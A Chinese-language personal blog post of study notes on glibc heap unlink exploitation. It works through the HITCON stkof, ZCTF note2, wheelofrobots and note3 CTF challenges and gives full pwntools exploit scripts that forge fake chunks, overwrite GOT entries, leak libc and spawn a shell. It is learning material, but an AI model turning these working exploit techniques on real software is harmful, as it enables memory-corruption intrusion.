====

还是补之前没做好的笔记,真就好记性不如烂笔头了,哈哈

还是说老年痴呆提前了

还是老规矩,先看wiki

当初理解unlink,因为方向错了。很是废了一大波劲(可能还是太菜了吧0.o……)

WIKI上的解释
https://wiki.x10sec.org/pwn/linux/glibc-heap/unlink-zh/
unlink_smallbin_intro.png

检查:

1
2
3
// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

其实本质就是在P上伪造fd,bk
利用UNLINK机制(注意:这是一个动作):

1
2
3
4
FD=P->fd
BK=P->bk
FD->bk=BK
BK->fd=FD

它其实可以分为两个部分
第一部分:

1
2
3
你负责伪造
P->fd
P->bk

第二部分:

1
2
3
4
5
是UNLINK机制完成
它负责在相应的地址写入数据
FD->bk=BK
BK->fd=FD

它的作用是干嘛的?

它可以往任意一个地址,写入你希望的地址信息

但是,他有检查。
又但是,有绕过检查的方法,

方法就是伪造堆。

为什么?因为,堆分配器是通过一系列的宏,检查各个堆上的信息(比如大小),根据这些信息,所以才能确定它隔壁的堆块实在哪儿

大可不必真的在一个堆上,伪造fd,bk。 我们可以伪造一个堆,在上面修改数据了以达到同样的效果,同时避开了检查,(我都不是一个真实的堆,他凭什么检查我)

当然了,这只是大体的思路具体的一些实现还是会有些不一样(比如不同版本的利用,2.29以前的,何2.29以后的)

情景一:写bss

这里简单的例子就是2014 HITCON stkof(wiki上有)

这道题,是unlink的一个典型利用方式。

将某一个地址,写到另外一个地址上去

s这个题里面是利用bss段上的一段空间来储存我们申请的各个chunk的地址,对于这种,我们就可以利用unlink把bss上的一些信息篡改(我们不能直接改)

比如说bss上是chunk_addr[index],每一个元素是一个堆的地址

假如我们用unlink,将chunk_addr[0]的内容改成bss段的地址,

那么,当我们要往chunk0里面写内容的时候,实际上,我们是写在bss段上,这样我们就能将各个堆的地址篡改为我们希望的地址

实现任意地址读写

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
context.binary = "./stkof"
stkof = ELF('./stkof')
if args['REMOTE']:
p = remote('127.0.0.1', 7777)
else:
p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
head = 0x602140
def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')

def edit(idx, size, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')

def free(idx):
p.sendline('3')
p.sendline(str(idx))

def exp():
# trigger to malloc buffer for io function
alloc(0x100) # idx 1
# begin
alloc(0x30) # idx 2
# small chunk size in order to trigger unlink
alloc(0x80) # idx 3
# a fake chunk at global[2]=head+16 who's size is 0x20
payload = p64(0) #prev_size
payload += p64(0x20) #size
payload += p64(head + 16 - 0x18) #fd
payload += p64(head + 16 - 0x10) #bk
payload += p64(0x20) # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')

# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30) #It won`t work while the libc is 2.29
#there is a speacil check
# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)

# unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
free(3)
p.recvuntil('OK\n')

# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
stkof.got['atoi'])
edit(2, len(payload), payload)

# edit free@got to puts@plt
payload = p64(stkof.plt['puts'])
edit(0, len(payload), payload)

# free global[1] to leak puts addr
free(1)
puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
log.success('libc base: ' + hex(libc_base))
log.success('/bin/sh addr: ' + hex(binsh_addr))
log.success('system addr: ' + hex(system_addr))

# modify atoi@got to system addr
payload = p64(system_addr)
edit(2, len(payload), payload)
p.send(p64(binsh_addr))
p.interactive()

if __name__ == "__main__":
exp()
1
2
3
4
5
6
7
8
9
payload = p64(0)  #prev_size
payload += p64(0x20) #size
payload += p64(head + 16 - 0x18) #fd
payload += p64(head + 16 - 0x10) #bk
payload += p64(0x20) # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')

payload += p64(0x30)#it won`t work in libc2.29
payload += p64(0x90)

整个最关键的就在这里,我们在free下一个chunk(chunk3)时,机制是通过chunk3的prev_size来往前确认是chunk2,并进行检查,再通过chunk2的size,通过偏移寻址,检查下一个chunk的prev_size(即使并不正确)

这里,我试了一下,往atoi_got里写one_gadget,我感觉应该是可以的,事实上的确可以,只不过不一定成功,三分之一的成功率吧,大概。暂时不知道为什么。

例题2:2016 ZCTF note2https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2016_zctf_note2

和前一题大差不差,new里面有这个溢出(整型溢出)

exp里面是,先释放再申请chunk1是为了布局堆,而后才往里面写入伪造堆块需要的内容。

内容并不复杂,顺便over了chunk1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

from pwn import *
from LibcSearcher import *
context(log_level ='debug', arch = 'amd64',os ='linux')
io = process('./note2')
elf =ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
# libc = ELF('./libc-2.23_x64.so')
# io = remote('node3.buuoj.cn',29706)

def debug():
# raw_input()
gdb.attach(io)

name = "aaaa"
address = "/bin/sh"

io.sendlineafter("name:",name)
io.sendlineafter("address:",address)

def new(size,contents):
io.sendlineafter(">>","1")
io.sendlineafter("128)",str(size))
io.sendlineafter("content:",contents)


def show(index):
io.sendlineafter(">>","2")
io.sendlineafter("note:",str(index))

def edit(index,c,contents):
io.sendlineafter(">>","3")
io.sendlineafter("note:",str(index))
io.sendlineafter("[1.overwrite/2.append]",str(c))
io.sendlineafter("TheNewContents:",contents)

def dele(index):
io.sendlineafter(">>","4")
io.sendlineafter("note:",str(index))
ptr_0 = 0x602120
fake_fd = ptr_0 - 0x18
fake_bk = ptr_0 - 0x10
content0 = p64(0)+p64(0xa1)+p64(fake_fd)+p64(fake_bk)
new(0x80,content0) #0
new(0,"aaaaa") #1
new(0x80,"aaaaaaaaa") #2
# new(0x30,"aaaaaaaaa")
dele(1)
content1 = p64(0)*2+p64(0xa0)+p64(0x90)
new(0,content1)
dele(2)
payload = 0x18*'a' + p64(elf.got['atoi'])
edit(0,1,payload)
show(0)
io.recvuntil("Content is ")
atoi_addr = u64(io.recv(6).ljust(8,'\x00'))

print "atoi address=====>"+ hex(atoi_addr)
libcbase = atoi_addr - libc.sym['atoi']
print("libc address: " + hex(libcbase))

# one = [0x45226,0x4527a,0xf0364,0xf1207] #local libc
# one = [0x45216,0x4526a,0xf02a4,0xf1147]

# one = libcbase + one[1]
system = libcbase + libc.sym['system']
edit(0,1,p64(system))
# dele(0)
io.sendline(address)
io.interactive()


# debug()

这个题应该不知这一个解法的吧

ida里应该可以看到,edit功能应该还有问题,但我还没做。。。。。。。

鸣谢:https://blog.csdn.net/weixin_38419913/article/details/103381531

利用思路:

1.通过fastbins attack来控制0x603138处的伪造堆块,从而改变case6_num的值,这样就可以使得该值能被控制,我们可以把这个值改的大一些,于是chunk6就能进行溢出,
2.构造unlink的结构,使得0x6030E8处的指针指向0x6030E8-0x18。
4.修改free got表为puts plt,打印出一个libc函数的地址,从而泄漏libc
5.修改free got表为system,get shell

the map on bss

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
bss:00000000006030D0                                         ; main+26↑r
.bss:00000000006030D0 ; Copy of shared data
.bss:00000000006030D8 byte_6030D8 db ? ; DATA XREF: sub_4009F0↑r
.bss:00000000006030D8 ; sub_4009F0+13↑w
.bss:00000000006030D9 align 20h
.bss:00000000006030E0 ; void *chain
.bss:00000000006030E0 chain dq ? ; DATA XREF: add+28F↑w
.bss:00000000006030E0 ; add+296↑r ...
.bss:00000000006030E8 ; void *destructor
.bss:00000000006030E8 destructor dq ? ; DATA XREF: add+3A0↑w
.bss:00000000006030E8 ; add+3BB↑r ...
.bss:00000000006030F0 ; void *bender
.bss:00000000006030F0 bender dq ? ; DATA XREF: add+162↑w
.bss:00000000006030F0 ; add+17D↑r ...
.bss:00000000006030F8 ; char *tinny
.bss:00000000006030F8 tinny dq ? ; DATA XREF: add+A6↑w
.bss:00000000006030F8 ; add+B7↑r ...
.bss:0000000000603100 ; char *devil
.bss:0000000000603100 devil dq ? ; DATA XREF: add+225↑w
.bss:0000000000603100 ; add+240↑r ...
.bss:0000000000603108 ; void *ire
.bss:0000000000603108 ire dq ? ; DATA XREF: add+2F3↑w
.bss:0000000000603108 ; add+2FA↑r ...
.bss:0000000000603110 ; char *choice
.bss:0000000000603110 choice db ? ; ; DATA XREF: add+3A↑o
.bss:0000000000603110 ; add+49↑o ...
.bss:0000000000603111 db ? ;
.bss:0000000000603112 db ? ;
.bss:0000000000603113 db ? ;
.bss:0000000000603114 bender_inuse dd ? ; DATA XREF: add:loc_400EE0↑r
.bss:0000000000603114 ; add+173↑w ...
.bss:0000000000603118 chain_inuse dd ? ; DATA XREF: add:loc_40106A↑r
.bss:0000000000603118 ; add+2B5↑w ...
.bss:000000000060311C destructor_inuse dd ? ; DATA XREF: add:loc_401135↑r
.bss:000000000060311C ; add+3B1↑w ...
.bss:0000000000603120 tinny_inuse dd ? ; DATA XREF: add:loc_400E81↑r
.bss:0000000000603120 ; add+AD↑w ...
.bss:0000000000603124 devil_inuse dd ? ; DATA XREF: add:loc_400FA3↑r
.bss:0000000000603124 ; add+236↑w ...
.bss:0000000000603128 ire_inuse dd ? ; DATA XREF: add:loc_4010CE↑r
.bss:0000000000603128 ; add+31C↑w ...
.bss:000000000060312C align 10h
.bss:0000000000603130 robot_wheel_cnt dq ? ; DATA XREF: add+56↑r
.bss:0000000000603130 ; add+D1↑r ...
.bss:0000000000603138 bender_size dq ? ; DATA XREF: add+16C↑w
.bss:0000000000603138 ; change+AC↑r
.bss:0000000000603140 devil_size dq ? ; DATA XREF: add+22F↑w
.bss:0000000000603140 ; change+F5↑r
.bss:0000000000603148 destructor_size dq ? ; DATA XREF: add+3AA↑w
.bss:0000000000603148 ; change+19C↑r

the index of chunks

1
2
3
4
5
6
puts("   1. Tinny Tim                                     ");
puts(" 2. Bender ");
puts(" 3. Robot Devil ");
puts(" 4. Chain Smoker ");
puts(" 5. Billionaire Bot ");
return puts(" 6. Destructor \n");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152

# coding=utf-8
from pwn import *
from LibcSearcher import *
context(log_level ='debug', arch = 'amd64',os ='linux')
io = process('./wheelofrobots')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
elf = ELF('./wheelofrobots')
# libc = ELF('./libc-2.23_x64.so')
# io = remote('node3.buuoj.cn',26987)
def debug():
# raw_input()
gdb.attach(io)

def add(index,size=0):
io.recvuntil("Wheel Of Robots")
sleep(0.5)
io.send("1")
if(index==8888 or index==9999):
if(index==9999):
io.sendafter("Your choice :","9999\x01")
else:
io.sendafter("Your choice :","8888\x00")
else:
io.sendafter("Your choice :",str(index))
if(index == 2 or index == 3 or index == 6):
io.recv()
io.send(str(size))
else:
pass

def dele(index):
io.recvuntil('Your choice :')
io.sendline('2')
io.recvuntil('Your choice :')
io.sendline(str(index))

def edit(index,context):
io.recvuntil("Wheel Of Robots")
sleep(0.5)
io.send("3")
io.recvuntil("choice :")

io.send(str(index))
io.recvline()
io.send(context)

def show():
io.recvuntil("Wheel Of Robots")
sleep(0.5)
io.send("4")

print "the first step=======>"
#add a fastbin chunk 0x20 and free it
#so it is in fastbin, idx2->NULL
add(2,1) #idx2
dele(2)


#overflow bender_inuse with 1
#then we can change fd(context) of the fastbin(bender)
add(9999)
# change bender`s fd to 0x603138, point to bender`s size
# new fastbin 0x20 ,idx->0x603138->NULL
edit(2,p64(0x603138))

#change the bender_inuse to 0x00
#in order to add bender again
add(8888)

#in order to malloc a chunk(0x20) at 0x603138
add(2,1)

#before we malloc the chunk1,there is a check for size of bin
#so we need to passby the fastbin size check,
#we set the *0x603138=0x20 by malloc(20*0x20)
#it is at Robot Devil
add(3,0x20)
#trigger malloc,set tinny point to 0x603148
add(1) #0x603138

#the num of wheels must <= 3
dele(2)
dele(3)

#then there is no chunk at heap area

print "the second step========>"
#we need two chunks
#and we need to overflow the chunk2 from chunk1

add(6,3)#6==>destructor
add(3,7)#3==>devil

#we chage the size(destructor) to 1000 by tinny
edit(1,p64(1000))

#place the fake chunk at destructor`s pointer
fake_chunk_addr= 0x6030e8
fake_chunk = p64(0)+p64(0x20)
fake_chunk+= p64(fake_chunk_addr-0x18)+p64(fake_chunk_addr-0x10)
fake_chunk+= p64(0x20)
fake_chunk = fake_chunk.ljust(0x40,"a")
fake_chunk+= p64(0x40)+p64(0xa0)

edit(6,fake_chunk)
#trigger unlink
dele(3)

# make 0x6030f8 point to 0x6030e8
payload = p64(0)*2+ 0x18*'a'+p64(0x6030e8)
edit(6,payload)

#the edit(1,) conbine edit(6,)
#could change anything at anywhere

#we we make exit just as return(ret)
#then it will do nothing here,just passby
edit(1,p64(elf.got['exit']))
edit(6,p64(0x401954))

#in order to set wheel cnt =3,0x603130 inorder to start robot
edit(1,p64(0x603130))
edit(6,p8(0x33)) #the 0x33 is the ascii type of '3'

#set destructor point to puts@got
edit(1,p64(elf.got['puts']))
show()

io.recvuntil('New hands great!! Thx ')

puts_addr = u64(io.recvuntil('!\n', drop=True).ljust(8, '\x00'))
libcbase = puts_addr - libc.sym['puts']
system = libcbase + libc.sym['system']
sh = libcbase + next(libc.search('/bin/sh'))
log.success("the address of puts is " + hex(puts_addr))
log.success("the address of libcbase is " + hex(libcbase))
log.success("the address of system is " + hex(system))
log.success("the address of sh is " + hex(sh))

#make free->system
edit(1,p64(elf.got['free']))
edit(6,p64(system))

edit(1,p64(0x6030e8))
edit(6,p64(sh))

#getshell
dele(6)

# debug()
io.interactive()

菜单,增删改查。

首先看wiki吧

RelRO : Partial

got表可改

所有的笔记 malloc 出来的指针存放在 bss 上全局数组 bss_ptr 中,这个数组最多可以存放 8 个 heap_ptr。 而且 heap_ptr 对应的 size 也被放在 bss_ptr 数组中。current_ptr 表示当前笔记,bss 布局如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.bss:
current_ptr
note0_ptr
note1_ptr
note2_ptr
note3_ptr
note4_ptr
note5_ptr
note6_ptr
note7_ptr
note0_size
note1_size
note2_size
note3_size
note4_size
note5_size
note6_size
note7_size

漏洞 (https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/#_20)

漏洞存在于 edit 功能中,这里面在获取用户输入的 id 号之后并没有进行验证。如果输入的 id 是负数的话依然可以执行。 在 get_num 函数中存在整数溢出漏洞,我们可以获得一个负数。

1
2
3
4
5
6
7
8
9
10
11
12
13
int edit()
{

id = get_num();
data_ptr = ptr[id];
if ( data_ptr )
{
puts("Input the new content:");
my_read(ptr[id], current_ptr[id + 8], '\n');
current_ptr[0] = ptr[id];
data_ptr = puts("Edit success");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78


# coding=utf-8
from pwn import *
from LibcSearcher import *
context(log_level ='debug', arch = 'amd64',os ='linux')
io = process('./note3')
elf = ELF('./note3')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('./libc-2.23_x64.so')
# io = remote('node3.buuoj.cn',26987)
def debug():
# raw_input()
gdb.attach(io)


def add(size,content):
io.sendlineafter("option--->>","1")
io.sendlineafter("(less than 1024)",str(size))
io.sendlineafter("content:",content)

def edit(index,content):
io.sendlineafter("option--->>","3")
io.sendlineafter("note:",str(index))
io.sendlineafter("content:",content)

def delete(index):
io.sendlineafter("option--->>","4")
io.sendlineafter("note:",str(index))

add(0x100,"aaaa")
add(0x100,"bbbb")
add(0x100,"cccc")
add(0x100,"dddd")
add(0x100,"eeee")
add(0x100,"ffff")
add(0x100,"gggg")
add(0x100,"hhhh")
edit(3,"bbbb")
# delete(0)
# add(0x100,"aaaa")

fakechunk = 0x0000000006020e0

payload = p64(0x100)+p64(0x101)
payload+= p64(fakechunk - 0x18)+p64(fakechunk - 0x10)
payload = payload.ljust(0x100,'a')
payload+= p64(0x100)+p64(0x110)
#chunk1
edit(-9223372036854775808,payload)
delete(4)

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']
print "free_got=====>"+hex(free_got)
print "puts_got=====>"+hex(puts_got)
print "puts_plt=====>" +hex(puts_plt)
print "atoi_got=====>" +hex(atoi_got)
payload = p64(0)*3+p64(free_got) + p64(atoi_got)+ p64(atoi_got)[0:6]
#the last byte will be changed to \x00,so we used the [0:6]
#and you can`t print the addr of 'puts' while we write addr in the got table #of it
edit(3,payload)
edit(3,p64(puts_plt)[0:6])

delete(4)

io.recvuntil('\n')
atoi_addr = u64(io.recv(6).ljust(8,'\x00'))
print "atoi_addr=====>" +hex(atoi_addr)
libcbase = atoi_addr - libc.sym['atoi']
system = libcbase + libc.sym['system']

edit(5,p64(system)[0:6])
io.sendline("/bin/sh;")
# debug()
io.interactive()

这里有一个小细节,就是有符号数使用的是补码

为什么采用的是这个数字?

D:-9,223,372,036,854,775,808

B:1000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000

看代码:

1
2
3
4
5
get_read(nptr, 32LL, 10);
number = atol(nptr); // 整型溢出,buf溢出
if ( number < 0 )
number = -number;//整数取反操作
return number;

这里,有一个负数变正数的操作

我们知道我们如果把一个数变符号

先把二进制数取反(每一个位哦)得反码,然后+1得补码:

D:-1

B:1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111

取反:

D:0

B:0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000

+1得补码:

D:1

B:0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0001

然而,我们希望的得到是一个负数,而这个操作会把一般的负数变成正数(一般的)

但有些特殊的数,则不一定

它的补码不变:

D:-9,223,372,036,854,775,808(最后一位是8哦)

B:1000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000

取反:

D: 9223372036854775807(最后一位是7哦)

B:0111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111

+1后:

D:-9,223,372,036,854,775,808(最后一位是8哦)

B:1000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000

所以这个数字,即使进行取反操作他也是得到自己本身

但是,这就完啦?这也不是-1啊

-1不是应该是这样的吗?

B:1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111

外面还有个操作啊

1
index = n % 7;

(当时我还觉得有点小突兀的)

-9,223,372,036,854,775,808 % 7 = -1

好,低版本的unlink就此结束到这,开心愉快^ - ^

image-20220308010029418

2022-02-28

⬆︎TOP